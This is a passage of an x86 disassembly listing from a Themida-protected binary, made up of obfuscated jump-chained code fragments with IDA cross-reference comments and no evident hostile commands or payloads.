; ---------------------------------------------------------------------------
lodsb
xor al, bl
push dx
push edi
mov edi, esp
push eax
jmp loc_594D31
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595BAD
loc_5955C7: ; CODE XREF: sub_595BAD-4D6Fj
pop ebx
add esp, 4
pop ecx
push eax
jmp loc_596BC8
; END OF FUNCTION CHUNK FOR sub_595BAD
; ---------------------------------------------------------------------------
loc_5955D5: ; CODE XREF: Themida_:0059D545j
pop ebx
add edx, ebp
mov ebp, [esp]
jmp loc_599485
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595949
loc_5955E0: ; CODE XREF: sub_595949-4617j
mov [esp+0Ch+var_C], ebx
mov ebx, 8FC193D4h
sub edi, ebx
jmp loc_59E42A
; END OF FUNCTION CHUNK FOR sub_595949
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A09BC
loc_5955EF: ; CODE XREF: sub_5A09BC+1FFCj
add ebp, 8A51B98Bh
jmp loc_5A24DE
; END OF FUNCTION CHUNK FOR sub_5A09BC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59F4E7
loc_5955FA: ; CODE XREF: sub_59F4E7-5B31j
shl byte ptr [esp-4+arg_0], cl
pushf
jmp loc_590A9B
; END OF FUNCTION CHUNK FOR sub_59F4E7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_595603: ; CODE XREF: sub_59390B+DB0Aj
pop eax
xchg dh, cl
not dh
xchg dh, cl
jmp loc_5951DE
; ---------------------------------------------------------------------------
loc_59560F: ; CODE XREF: sub_59390B+EB2Bj
pop edx
add esi, eax
pop eax
push 12AEh
jmp loc_592AE2
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A431
loc_59561D: ; CODE XREF: sub_59A431+37FAj
push edx
push 1Ch
pop edx
add edx, edi
push ebx
mov ebx, 0
add ebx, edx
mov eax, [ebx]
pop ebx
mov edx, [esp+10h+var_10]
push esi
mov esi, esp
push 739Bh
mov [esp+18h+var_18], ebx
jmp loc_591422
; END OF FUNCTION CHUNK FOR sub_59A431
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A4D6
loc_595644: ; CODE XREF: sub_59A4D6+6215j
mov [esp+0], ebp
push ebx
mov ebx, 69C837BEh
mov ebp, ebx
pop ebx
push 1F17h
mov [esp+4+var_4], edx
push ebx
mov ebx, 284472DDh
jmp loc_5A1FF6
; END OF FUNCTION CHUNK FOR sub_59A4D6
; ---------------------------------------------------------------------------
loc_595663: ; CODE XREF: Themida_:0059C5EFj
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], edi
mov edi, 112F3154h
push eax
mov eax, 147705E5h
add eax, 13D23473h
jmp loc_5965D2
; ---------------------------------------------------------------------------
loc_595682: ; CODE XREF: Themida_:0059A76Aj
push eax
push esp
jmp loc_5A4D15
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59CAFB
loc_595689: ; CODE XREF: sub_59CAFB+76Cj
pop edx
add ebp, esi
push [esp+0Ch+var_C]
pop esi
sub esp, 4
mov [esp+10h+var_10], edi
jmp loc_598FF7
; END OF FUNCTION CHUNK FOR sub_59CAFB
; ---------------------------------------------------------------------------
loc_59569B: ; CODE XREF: Themida_:005983A7j
mov esp, [esp]
jmp loc_5A0507
; ---------------------------------------------------------------------------
loc_5956A3: ; CODE XREF: Themida_:0059573Cj
push esp
jmp loc_5A38D6
; ---------------------------------------------------------------------------
loc_5956A9: ; CODE XREF: Themida_:005969F2j
mov ebx, 486465E4h
shr ebx, 2
jmp loc_59D892
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595BAD
loc_5956B6: ; CODE XREF: sub_595BAD+7001j
xor edx, 7B8273DEh
mov ebx, edx
pop edx
sub esp, 4
mov [esp-4+arg_0], eax
mov eax, ebx
mov ecx, eax
pop eax
pop ebx
push 83C7E1DFh
mov edi, [esp-8+arg_4]
add esp, 4
push edx
mov edx, 3A4867DCh
push edx
mov edx, 28F50733h
add edi, edx
jmp loc_59CE7C
; END OF FUNCTION CHUNK FOR sub_595BAD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5956E9: ; CODE XREF: sub_59390B+422j
mov eax, [esp-1Eh+arg_14+2]
push ecx
push esp
pop ecx
add ecx, 4
add ecx, 4
xchg ecx, [esp-1Ah+arg_10+2]
pop esp
xchg esi, [esp-1Eh+arg_14+2]
pop esp
push 3FADh
mov [esp-1Eh+arg_14+2], esi
push esp
push [esp-1Ah+arg_10+2]
pop esi
jmp loc_59F420
; ---------------------------------------------------------------------------
loc_595715: ; CODE XREF: sub_59390B+41j
add esp, 4
push ebp
mov ebp, 24h
sub esi, 4122FFAh
push edi
push edx
push eax
jmp loc_5A483F
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push ebx
jmp loc_5956A3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A0060
loc_595741: ; CODE XREF: sub_5A0060+1CC5j
pop ebx
xor bl, al
movzx eax, al
push edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp-4+arg_0]
pop esp
mov [esp-8+arg_4], edx
push ecx
push esp
pop ecx
add ecx, 4
sub ecx, 4
xchg ecx, [esp-4+arg_0]
jmp loc_59DAEF
; END OF FUNCTION CHUNK FOR sub_5A0060
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_595774: ; CODE XREF: sub_59390B+74E4j
push esp
pop edx
push eax
mov eax, 4
add edx, eax
pop eax
push 77CAh
mov [esp+4+var_4], ebp
push 2E4A51AEh
pop ebp
push edi
mov edi, 2E4A51AAh
jmp loc_599621
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_595798: ; CODE XREF: Themida_:005A1A15j
add esp, 4
sub cl, 22h
jmp loc_5A4C03
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5957A3: ; CODE XREF: sub_59390B+D468j
add edx, 4
xchg edx, [esp+8+var_8]
pop esp
jmp loc_5A1B5A
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A431
loc_5957B2: ; CODE XREF: sub_59A431+8D3j
mov edx, 4
jmp loc_595588
; END OF FUNCTION CHUNK FOR sub_59A431
; ---------------------------------------------------------------------------
loc_5957BC: ; CODE XREF: Themida_:0059D474j
push 5427h
mov [esp], edx
push 0F2Ah
mov [esp], esp
add dword ptr [esp], 4
pop edx
jmp loc_59C4C1
; ---------------------------------------------------------------------------
loc_5957D9: ; CODE XREF: Themida_:005915C5j
mov esp, [esp]
mov [esp], edx
jmp loc_5A3887
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5957E4: ; CODE XREF: sub_59390B-2403j
shr ecx, 2
push 7D36h
mov [esp-10h+arg_8], ebx
push [esp-10h+arg_8]
pop eax
push ecx
push esp
pop ecx
add ecx, 4
sub ecx, 4
xchg ecx, [esp-0Ch+arg_4]
pop esp
mov [esp-10h+arg_8], edi
mov edi, esp
push 7914h
mov [esp-0Ch+arg_4], ebx
push 7DAEh
mov [esp-8+arg_0], edx
push 5C037F3Ah
pop edx
inc edx
push esi
jmp loc_5A175B
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_595828: ; CODE XREF: Themida_:005A4DBEj
add edx, 4
sub edx, 4
xchg edx, [esp]
jmp loc_59A709
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_595839: ; CODE XREF: sub_59390B+4077j
pop edx
add ebp, eax
jmp loc_59435A
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595BAD
loc_595841: ; CODE XREF: sub_595BAD+BD71j
and ebx, esi
pop esi
shr ebx, 6
sub ebx, 0FB881h
jmp loc_5A3F63
; END OF FUNCTION CHUNK FOR sub_595BAD
; ---------------------------------------------------------------------------
loc_595852: ; CODE XREF: Themida_:005946BBj
add esp, 4
push ebp
mov ebp, 4D535FC8h
and edx, ebp
mov ebp, [esp]
add esp, 4
shl edx, 8
push ecx
mov ecx, 1
jmp loc_595A44
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_592E1C
loc_595877: ; CODE XREF: sub_592E1C+66A8j
sub ebp, 0FFFFFFFFh
push eax
jmp sub_5A09BC
; END OF FUNCTION CHUNK FOR sub_592E1C
; ---------------------------------------------------------------------------
mov cx, [esp]
push esi
jmp loc_597D4D
; ---------------------------------------------------------------------------
loc_59588D: ; CODE XREF: Themida_:00592461j
mov [esp], eax
mov eax, 4FEA5ADBh
xor eax, 4FEA5ADFh
add ecx, eax
pop eax
xchg ecx, [esp]
pop esp
xchg eax, [esp]
mov esp, [esp]
push 6DBDh
mov [esp], ecx
jmp loc_599E24
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_598762
loc_5958B4: ; CODE XREF: sub_598762-F06j
mov edx, esp
jmp loc_5A386F
; END OF FUNCTION CHUNK FOR sub_598762
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59338E
loc_5958BB: ; CODE XREF: sub_59338E+A41Ej
pop esi
pop ebp
mov ebp, [esp+4+var_4]
add esp, 4
jmp loc_599CD1
; END OF FUNCTION CHUNK FOR sub_59338E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A51EA
loc_5958CB: ; CODE XREF: sub_5A51EA+2Aj
mov [esp+0], dx
jmp loc_5A0EA8
; END OF FUNCTION CHUNK FOR sub_5A51EA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59F53F
loc_5958D4: ; CODE XREF: sub_59F53F-4404j
pop edx
push edi
jmp loc_59BB02
; END OF FUNCTION CHUNK FOR sub_59F53F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A0733
loc_5958DB: ; CODE XREF: sub_5A0733-254j
dec edi
sub edi, 0D0FA51h
add [esp+0Ch+var_8], edi
pop edi
pop edi
push edx
mov edx, 4
sub edi, 448671FFh
add edi, 2A63606Dh
add edi, edx
sub edi, 2A63606Dh
jmp sub_5A0BFE
; END OF FUNCTION CHUNK FOR sub_5A0733
; ---------------------------------------------------------------------------
loc_595907: ; CODE XREF: Themida_:0059CD51j
xor esi, [esp]
jmp loc_59AA0A
; ---------------------------------------------------------------------------
loc_59590F: ; CODE XREF: Themida_:0059D070j
push 1B2652E0h
pop ebp
dec ebp
dec ebp
jmp loc_59CC68
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A51EA
loc_59591C: ; CODE XREF: sub_5A51EA-69EAj
add edi, ebx
pop ebx
add edi, 4
xchg edi, [esp-4+arg_0]
mov esp, [esp-4+arg_0]
push ecx
sub esp, 4
jmp loc_5A5201
; END OF FUNCTION CHUNK FOR sub_5A51EA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A4F4F
loc_595934: ; CODE XREF: sub_5A4F4F-9C43j
pop esp
push ebp
push esi
mov esi, 4
jmp loc_590BE6
; END OF FUNCTION CHUNK FOR sub_5A4F4F
; =============== S U B R O U T I N E =======================================
sub_595941 proc near ; CODE XREF: sub_594E5F+D8DDj
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00591DBE SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00597EA3 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059DEC8 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059FD2D SIZE 0000000C BYTES
push ebx
mov ebx, esp
jmp loc_59FD2D
sub_595941 endp
; =============== S U B R O U T I N E =======================================
sub_595949 proc near ; CODE XREF: sub_599F46+72E3j
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00591326 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00592125 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005955E0 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00599B63 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00599D7A SIZE 0000002E BYTES
; FUNCTION CHUNK AT 0059D03D SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059E42A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059FFA7 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 005A044C SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A08AD SIZE 00000023 BYTES
push ebx
push edi
push 703E6C27h
jmp loc_5A044C
sub_595949 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_595955: ; CODE XREF: sub_59390B+41CDj
pop ebp
add ebx, 56F0466Ch
sub ebx, ecx
sub ebx, 56F0466Ch
jmp loc_590BCF
; ---------------------------------------------------------------------------
loc_595969: ; CODE XREF: sub_59390B+4EBAj
sub ax, bx
sub ax, 3558h
jmp loc_596314
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59BDD3
loc_595975: ; CODE XREF: sub_59BDD3+16j
shl esi, 8
push eax
mov eax, 0F3AC77FCh
jmp loc_592C49
; END OF FUNCTION CHUNK FOR sub_59BDD3
; ---------------------------------------------------------------------------
loc_595983: ; CODE XREF: Themida_:0059A0D9j
add esi, 4
xchg esi, [esp]
pop esp
push small 6B92h
mov [esp], ax
sub esp, 4
mov [esp], ebx
mov bl, 0F5h
sub bl, 1
shr bl, 3
shl bl, 1
jmp loc_596BFA
; ---------------------------------------------------------------------------
loc_5959AA: ; CODE XREF: Themida_:0059A0B8j
push edx
mov edx, 5C3360F3h
add edx, 0FFFFFFFFh
sub edx, 629B5436h
neg edx
and edx, 11140ED0h
xor edx, 7B527DBBh
sub eax, edx
pop edx
mov ebp, eax
pop eax
push eax
jmp loc_59F835
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59DC9E
loc_5959D6: ; CODE XREF: sub_59DC9E-6E6Aj
mov eax, [esp+0]
add esp, 4
jmp sub_59886E
; END OF FUNCTION CHUNK FOR sub_59DC9E
; ---------------------------------------------------------------------------
loc_5959E4: ; CODE XREF: Themida_:0059EFDBj
sub eax, 151C58F3h
jmp loc_5A0106
; ---------------------------------------------------------------------------
loc_5959EE: ; CODE XREF: Themida_:00593530j
and al, bh
pop ebx
inc al
add al, 0FFh
sub al, 9Bh
add bl, al
pop eax
add bl, al
sub bl, 0C7h
sub bl, 0E0h
movzx eax, al
jmp loc_59104A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59654E
loc_595A0A: ; CODE XREF: sub_59654E+AF3Aj
sub eax, 0D81731Eh
inc eax
sub eax, 38F342EBh
add eax, 0F3CD933Bh
jmp loc_59BDA4
; END OF FUNCTION CHUNK FOR sub_59654E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59D1FC
loc_595A1F: ; CODE XREF: sub_59D1FC+4437j
push edx
mov edx, 36477584h
jmp loc_595030
; END OF FUNCTION CHUNK FOR sub_59D1FC
; ---------------------------------------------------------------------------
loc_595A2A: ; CODE XREF: Themida_:0059E711j
mov [esp], eax
mov ah, 6Dh
inc ah
jmp loc_592212
; ---------------------------------------------------------------------------
loc_595A36: ; CODE XREF: Themida_:0059EE0Fj
pop ebx
push 4BD6h
mov [esp], esi
jmp loc_5A165C
; ---------------------------------------------------------------------------
loc_595A44: ; CODE XREF: Themida_:00595872j
sub edx, ecx
jmp loc_59EB3B
; ---------------------------------------------------------------------------
loc_595A4B: ; CODE XREF: Themida_:005945F1j
push dword ptr [esp]
pop esi
add esp, 4
push edi
mov edi, 13976DEh
add ebx, edi
jmp loc_59AD5C
; ---------------------------------------------------------------------------
loc_595A62: ; CODE XREF: Themida_:00594FB5j
xor edx, [esp]
mov esp, [esp]
shl word ptr [esp], cl
pushf
jmp loc_59D6BA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A4CDD
loc_595A72: ; CODE XREF: sub_5A4CDD-14j
mov [esp+10h+var_10], ebx
pop eax
pop ebx
push 7F0Ch
mov [esp+0Ch+var_C], ecx
push 5483h
jmp loc_598FCD
; END OF FUNCTION CHUNK FOR sub_5A4CDD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5932F7
loc_595A89: ; CODE XREF: sub_5932F7+6418j
inc esi
xor esi, 2D604130h
mov ebx, esi
mov esi, [esp+4+var_4]
add esp, 4
or ebx, 4A276F3h
xor ebx, 19B567ACh
jmp loc_5927B7
; END OF FUNCTION CHUNK FOR sub_5932F7
; ---------------------------------------------------------------------------
loc_595AAC: ; CODE XREF: Themida_:00591BBFj
push dword ptr [esp]
pop ebp
add esp, 4
add ebp, 32BD2E84h
neg ebp
shl ebp, 2
not ebp
push eax
mov eax, 1C651E6Bh
sub ebp, eax
pop eax
push 7560h
mov [esp], edx
mov edx, 6B880C3Dh
inc edx
xor edx, 46CE916h
jmp loc_59F419
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A4CF8
loc_595AE2: ; CODE XREF: sub_5A4CF8-6EFEj
add [esp+8+var_8], 4
pop ecx
push ebx
mov ebx, esp
add ebx, 4
push 6FA9h
mov [esp+0Ch+var_C], eax
mov eax, 46FF124Ah
push edx
mov edx, 6BDE3E71h
jmp loc_593863
; END OF FUNCTION CHUNK FOR sub_5A4CF8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_595B08: ; CODE XREF: sub_59390B+65CCj
mov word ptr [esp-0Ch+arg_4], ax
sub esp, 4
jmp loc_5A4A1B
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A085D
loc_595B14: ; CODE XREF: sub_5A085D-1CB2j
xor ch, bh
pop bx
sub al, 0E1h
add al, ch
add al, 0E1h
push [esp+4+var_6+2]
pop ecx
push 63D6h
mov [esp], edi
push esi
mov esi, esp
add esi, 4
push ebx
mov ebx, 4
jmp loc_5916A1
; END OF FUNCTION CHUNK FOR sub_5A085D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A3536
loc_595B3E: ; CODE XREF: sub_5A3536-EB35j
dec ebp
neg ebp
xor ebp, 4EB61A15h
add ebp, 0DD71AE5Fh
sub edi, 44A46F5h
jmp loc_5A31C4
; END OF FUNCTION CHUNK FOR sub_5A3536
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A5219
loc_595B58: ; CODE XREF: sub_5A5219-12DE1j
push edi
jmp sub_59B57F
; END OF FUNCTION CHUNK FOR sub_5A5219
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591FE1
loc_595B5E: ; CODE XREF: sub_591FE1+1j
push esp
pop ebp
push edi
mov edi, 164746DDh
xor edi, 599F58D0h
xchg eax, edi
neg eax
xchg eax, edi
xor edi, 0B027E1F7h
jmp loc_59C3A8
; END OF FUNCTION CHUNK FOR sub_591FE1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A2FE9
loc_595B7B: ; CODE XREF: sub_5A2FE9-9E9Ej
pop esp
jmp loc_593F32
; END OF FUNCTION CHUNK FOR sub_5A2FE9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_595B81: ; CODE XREF: sub_59390B+23Aj
sub ebx, ecx
jmp loc_59885D
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5936EC
loc_595B88: ; CODE XREF: sub_5936EC-24CCj
add esp, 4
add ebp, 4
xchg ebp, [esp+8+var_8]
mov esp, [esp+8+var_8]
push ebp
push 1
pop ebp
jmp loc_5A3738
; END OF FUNCTION CHUNK FOR sub_5936EC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59CF38
loc_595BA3: ; CODE XREF: sub_59CF38+1j
mov ebx, 0DE5F12h
jmp loc_59974D
; END OF FUNCTION CHUNK FOR sub_59CF38
; =============== S U B R O U T I N E =======================================
sub_595BAD proc near ; CODE XREF: sub_59390B+BC28j
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
; FUNCTION CHUNK AT 00590E1F SIZE 00000024 BYTES
; FUNCTION CHUNK AT 005944D4 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00594EF0 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00595488 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005955C7 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005956B6 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 00595841 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00596BC8 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00598ABF SIZE 0000002B BYTES
; FUNCTION CHUNK AT 00598CEE SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059A57C SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0059CBA2 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059CE7C SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0059D5DF SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059D98F SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0059E61D SIZE 0000003E BYTES
; FUNCTION CHUNK AT 005A0424 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A0C93 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A1215 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A1918 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A1942 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A2847 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A2B23 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A2B6F SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005A2D54 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A3130 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A38A5 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A3F63 SIZE 0000000B BYTES
push ebx
push 3A1Bh
mov [esp+4+var_4], esp
sub esp, 4
mov [esp+8+var_8], eax
mov eax, 4
jmp loc_5A3130
sub_595BAD endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_595BC6: ; CODE XREF: Themida_:005A0DB5j
dec word ptr [esp]
pushf
jmp loc_590A9B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59CFD4
loc_595BD0: ; CODE XREF: sub_59CFD4-33ECj
mov ebx, ecx
mov ebp, ebx
mov ebx, [esp+0Ch+var_C]
push 4F18h
mov [esp+10h+var_10], ebx
mov ebx, esp
add ebx, 4
jmp loc_59D512
; END OF FUNCTION CHUNK FOR sub_59CFD4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_595BEC: ; CODE XREF: sub_59390B+7646j
add esi, 4E8B58E5h
jmp loc_59C773
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_595BF7: ; CODE XREF: Themida_:005A1FD4j
push 18C4h
mov [esp], ecx
mov ecx, 20431E70h
sub ecx, 5EB35BFCh
push eax
mov eax, 1D6220FAh
jmp loc_5A0BD1
; ---------------------------------------------------------------------------
loc_595C15: ; CODE XREF: Themida_:0059E2FFj
pop ecx
jmp loc_5A0936
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59E918
loc_595C1B: ; CODE XREF: sub_59E918+1299j
sub al, 0C5h
sub al, 14h
sub al, bl
add al, 14h
push edx
push eax
mov al, 5Eh
xor al, 35h
add al, 2Dh
jmp loc_59FD39
; END OF FUNCTION CHUNK FOR sub_59E918
; ---------------------------------------------------------------------------
loc_595C30: ; CODE XREF: Themida_:005949B3j
jmp loc_590A9B
; ---------------------------------------------------------------------------
loc_595C35: ; CODE XREF: Themida_:00590D96j
push edi
mov edi, 3B9942B7h
dec edi
dec edi
shr edi, 2
or edi, 29070E3Bh
push edx
mov edx, 0EE97FA6Ah
jmp loc_59D12A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_595C51: ; CODE XREF: sub_59390B+113A3j
sub edi, 7EB967D9h
sub edi, 62412480h
jmp loc_595270
; ---------------------------------------------------------------------------
loc_595C62: ; CODE XREF: sub_59390B+4B2j
push 3ED2h
mov [esp-1Ah+arg_10+2], esi
mov eax, [esp-1Ah+arg_10+2]
push 1BD3h
mov [esp-16h+arg_C+2], eax
mov eax, esp
sub esp, 4
jmp loc_5A3B25
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_595C82: ; CODE XREF: Themida_:00593374j
and ebp, esi
jmp loc_59E440
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_595C89: ; CODE XREF: sub_59390B+35Aj
xchg eax, [esp-14h+arg_C]
pop esp
push edx
mov edx, 4CF23EF2h
and edx, 3F3517EAh
sub edx, 0C3016DEh
add ebp, 56E00E3Ah
add ebp, edx
push ecx
mov ecx, 7B8B6AF1h
xor ecx, 490C6311h
jmp loc_59E1F5
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A4D6
loc_595CB8: ; CODE XREF: sub_59A4D6+9j
mov edi, 4
sub eax, 4A6B3D74h
add eax, edi
jmp loc_5A5BE7
; END OF FUNCTION CHUNK FOR sub_59A4D6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_595CC9: ; CODE XREF: sub_59390B-E8Bj
add ebx, esi
mov esi, [esp-14h+arg_C]
add esp, 4
push [esp-18h+arg_10]
mov edx, [esp-14h+arg_C]
add esp, 4
jmp sub_5A4F4F
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591FE1
loc_595CE2: ; CODE XREF: sub_591FE1+B87Fj
pop esp
or edx, eax
shl edx, 1
jmp loc_599137
; END OF FUNCTION CHUNK FOR sub_591FE1
; ---------------------------------------------------------------------------
loc_595CEC: ; CODE XREF: Themida_:00590C78j
mov ebx, 64D75994h
push edx
mov edx, 4D966F43h
jmp loc_5987E6
; ---------------------------------------------------------------------------
loc_595CFC: ; CODE XREF: Themida_:0059B54Aj
add esp, 4
push esi
mov esi, ecx
mov ebx, esi
pop esi
pop ecx
add edi, ebx
pop ebx
push ebp
push 4
pop ebp
add edi, ebp
mov ebp, [esp]
add esp, 4
xor edi, [esp]
jmp loc_599E96
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_595D23: ; CODE XREF: sub_59390B+7DA1j
mov ax, word ptr [esp-18h+arg_10]
add esp, 2
movzx eax, al
mov dx, word ptr [esp-1Ch+arg_14]
push ebp
jmp loc_597CAE
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5971C0
loc_595D3A: ; CODE XREF: sub_5971C0-1EE0j
mov eax, 872234C2h
sub eax, ebx
jmp loc_599B71
; END OF FUNCTION CHUNK FOR sub_5971C0
; ---------------------------------------------------------------------------
loc_595D46: ; CODE XREF: Themida_:0059E451j
pop edi
add esi, 6BA16AD1h
add esi, ecx
sub esi, 6BA16AD1h
pop ecx
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
ror word ptr [esp], cl
pushf
jmp loc_590A9B
; ---------------------------------------------------------------------------
loc_595D6C: ; CODE XREF: Themida_:00591DD6j
and edi, 6FAF5B12h
sub edi, 58B5E3Ah
jmp loc_5A3561
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5964B7
loc_595D7D: ; CODE XREF: sub_5964B7+D807j
push 4
pop esi
push ebp
mov ebp, 648D18EDh
add [esp+10h+var_8], ebp
pop ebp
add [esp+0Ch+var_8], esi
push eax
jmp loc_59E993
; END OF FUNCTION CHUNK FOR sub_5964B7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_595D98: ; CODE XREF: sub_59390B+706j
and eax, 0F3A4584h
push edi
jmp loc_5952E5
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_595DA3: ; CODE XREF: Themida_:0059B182j
add esp, 4
jmp loc_595517
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A0060
loc_595DAE: ; CODE XREF: sub_5A0060+5847j
add esp, 4
xor edx, [esp-8+arg_4]
jmp loc_5A4994
; END OF FUNCTION CHUNK FOR sub_5A0060
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A17BF
loc_595DB9: ; CODE XREF: sub_5A17BF-C3F8j
push 3C3Ah
mov [esp+0Ch+var_C], eax
push esp
pop eax
add eax, 4
add eax, 4
xchg eax, [esp+0Ch+var_C]
pop esp
push esi
push 6966A5Ch
push [esp+10h+var_10]
jmp loc_5938DB
; END OF FUNCTION CHUNK FOR sub_5A17BF
; =============== S U B R O U T I N E =======================================
